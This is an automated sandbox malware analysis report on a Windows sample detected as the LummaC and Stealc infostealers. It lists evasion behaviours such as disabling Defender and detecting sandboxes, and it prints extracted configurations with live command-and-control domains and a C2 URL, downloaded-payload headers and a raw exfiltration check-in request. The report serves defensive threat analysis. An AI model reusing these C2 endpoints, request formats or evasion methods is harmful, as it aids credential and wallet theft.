Edit tour

Windows Analysis Report
U8mbM8r793.exe

Overview

General Information

Sample name:	U8mbM8r793.exe renamed because original name is a hash value
Original sample name:	f89093f658b52fd17ca15d0209a37ffb.exe
Analysis ID:	1579712
MD5:	f89093f658b52fd17ca15d0209a37ffb
SHA1:	9b2ef977da1e67def11fed9b700b30021fcb1268
SHA256:	ee10f50454fccad15a37dd298dc052070ccc5dbfa74cd55fa60d6e19bc8fbbb1
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

U8mbM8r793.exe (PID: 7940 cmdline: "C:\Users\user\Desktop\U8mbM8r793.exe" MD5: F89093F658B52FD17CA15D0209A37FFB)

IC79VITF07QUR284C1B5QWCEACP3.exe (PID: 6040 cmdline: "C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe" MD5: 97B29CE33CCFE8A2B642BD236A0DD337)

ER7BQPWQ4HBBERO2A4ZIZ5.exe (PID: 7668 cmdline: "C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe" MD5: 880F67C30D6C2335273B27DF0004F500)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["wordyfindy.lat", "curverpluch.lat", "shapestickyr.lat", "manyrestro.lat", "slipperyloo.lat", "bashfulacid.lat", "observerfry.lat", "talkynicer.lat", "tentabatte.lat"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000008.00000002.1698465028.0000000000F31000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.1408347858.0000000001759000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.1698142767.000000000078E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.1408197847.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.1408145362.0000000001757000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.1611466099.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: U8mbM8r793.exe PID: 7940	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: U8mbM8r793.exe PID: 7940	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: U8mbM8r793.exe PID: 7940	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ER7BQPWQ4HBBERO2A4ZIZ5.exe PID: 7668	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: ER7BQPWQ4HBBERO2A4ZIZ5.exe PID: 7668	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 7 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:52:26.544810+0100	2028371	3	Unknown Traffic	192.168.2.10	49707	172.67.199.72	443	TCP
2024-12-23T07:52:28.518235+0100	2028371	3	Unknown Traffic	192.168.2.10	49708	172.67.199.72	443	TCP
2024-12-23T07:52:31.164771+0100	2028371	3	Unknown Traffic	192.168.2.10	49714	172.67.199.72	443	TCP
2024-12-23T07:52:33.409594+0100	2028371	3	Unknown Traffic	192.168.2.10	49720	172.67.199.72	443	TCP
2024-12-23T07:52:35.737670+0100	2028371	3	Unknown Traffic	192.168.2.10	49726	172.67.199.72	443	TCP
2024-12-23T07:52:38.269435+0100	2028371	3	Unknown Traffic	192.168.2.10	49737	172.67.199.72	443	TCP
2024-12-23T07:52:40.709680+0100	2028371	3	Unknown Traffic	192.168.2.10	49743	172.67.199.72	443	TCP
2024-12-23T07:52:44.514932+0100	2028371	3	Unknown Traffic	192.168.2.10	49752	172.67.199.72	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:52:27.293749+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49707	172.67.199.72	443	TCP
2024-12-23T07:52:29.583330+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49708	172.67.199.72	443	TCP
2024-12-23T07:52:45.304296+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49752	172.67.199.72	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:52:27.293749+0100	2049836	1	A Network Trojan was detected	192.168.2.10	49707	172.67.199.72	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:52:29.583330+0100	2049812	1	A Network Trojan was detected	192.168.2.10	49708	172.67.199.72	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:52:46.769196+0100	2019714	2	Potentially Bad Traffic	192.168.2.10	49758	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:52:32.053595+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.10	49714	172.67.199.72	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:53:03.132042+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.10	49790	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: U8mbM8r793.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe

Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: U8mbM8r793.exe.7940.4.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["wordyfindy.lat", "curverpluch.lat", "shapestickyr.lat", "manyrestro.lat", "slipperyloo.lat", "bashfulacid.lat", "observerfry.lat", "talkynicer.lat", "tentabatte.lat"], "Build id": "PsFKDg--pablo"}
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe.7668.8.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Multi AV Scanner detection for submitted file

Source: U8mbM8r793.exe	Virustotal: Detection: 52%			Perma Link
Source: U8mbM8r793.exe	ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: U8mbM8r793.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String decryptor: bashfulacid.lat
Source: 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tentabatte.lat
Source: 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String decryptor: curverpluch.lat
Source: 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String decryptor: talkynicer.lat
Source: 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String decryptor: shapestickyr.lat
Source: 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String decryptor: manyrestro.lat
Source: 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String decryptor: slipperyloo.lat
Source: 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String decryptor: wordyfindy.lat
Source: 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String decryptor: observerfry.lat
Source: 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String decryptor: PsFKDg--pablo

Source: U8mbM8r793.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.10:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.10:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.10:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.10:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.10:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.10:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.10:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.10:49752 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: IC79VITF07QUR284C1B5QWCEACP3.exe, 00000007.00000002.1709913712.0000000000512000.00000040.00000001.01000000.00000006.sdmp

Source: C:\Users\user\Desktop\U8mbM8r793.exe

Directory queried: number of queries: 1001

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.10:49790 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.10:49707 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49707 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.10:49708 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49708 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.10:49714 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49752 -> 172.67.199.72:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: observerfry.lat
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: tentabatte.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 06:52:45 GMTContent-Type: application/octet-streamContent-Length: 2845696Last-Modified: Mon, 23 Dec 2024 06:14:51 GMTConnection: keep-aliveETag: "6768ffdb-2b6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 df 49 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 6e 72 78 65 63 62 76 00 e0 2a 00 00 a0 00 00 00 de 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6e 61 79 6a 72 67 79 00 20 00 00 00 80 2b 00 00 04 00 00 00 46 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 06:52:51 GMTContent-Type: application/octet-streamContent-Length: 2907648Last-Modified: Mon, 23 Dec 2024 06:16:47 GMTConnection: keep-aliveETag: "6769004f-2c5e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 90 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 4f 00 00 04 00 00 a0 28 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 77 77 71 75 66 6e 73 6b 00 c0 2a 00 00 c0 24 00 00 bc 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 75 74 6a 71 6a 71 6e 00 10 00 00 00 80 4f 00 00 04 00 00 00 38 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4f 00 00 22 00 00 00 3c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJJEBFHDBGIECBFCBKJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 31 41 42 33 34 46 38 43 31 34 34 32 39 33 39 34 34 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="hwid"871AB34F8C144293944220------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="build"stok------IJJJEBFHDBGIECBFCBKJ--

Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49714 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49726 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49707 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49708 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49743 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49737 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49720 -> 172.67.199.72:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.10:49758 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49752 -> 172.67.199.72:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat
